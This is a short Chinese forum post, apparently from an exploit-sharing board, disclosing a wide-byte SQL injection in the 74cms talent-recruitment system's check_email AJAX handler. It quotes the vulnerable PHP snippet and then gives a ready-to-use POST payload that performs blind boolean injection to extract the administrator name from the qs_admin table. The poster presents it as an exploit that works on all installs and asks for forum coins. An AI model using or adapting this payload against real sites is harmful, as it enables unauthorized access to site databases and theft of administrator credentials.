骑士cms人才系统 又一通杀

没金币了。求拉点。谢谢啦。

代码出现在

plus/ajax_user.php?act=check_email

具体代码如下 email出现宽字节 注入

127行开始
[php]
elseif($act == 'check_email')
{
require_once(QISHI_ROOT_PATH.'include/fun_user.php');
$email=trim($_POST['email']);//此处问题
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$email=iconv("utf-8",QISHI_DBCHARSET,$email);
}
$user=get_user_inemail($email);
empty($user)?exit("true"):exit("false");
}[/php]

exp:
[php]
http://0day5.com/plus/ajax_user.php?act=check_email
post:email=s%e9%8c%a6' or cast(ascii(substring((select admin_name from qs_admin),2,1))>100 as signed) %23[/php]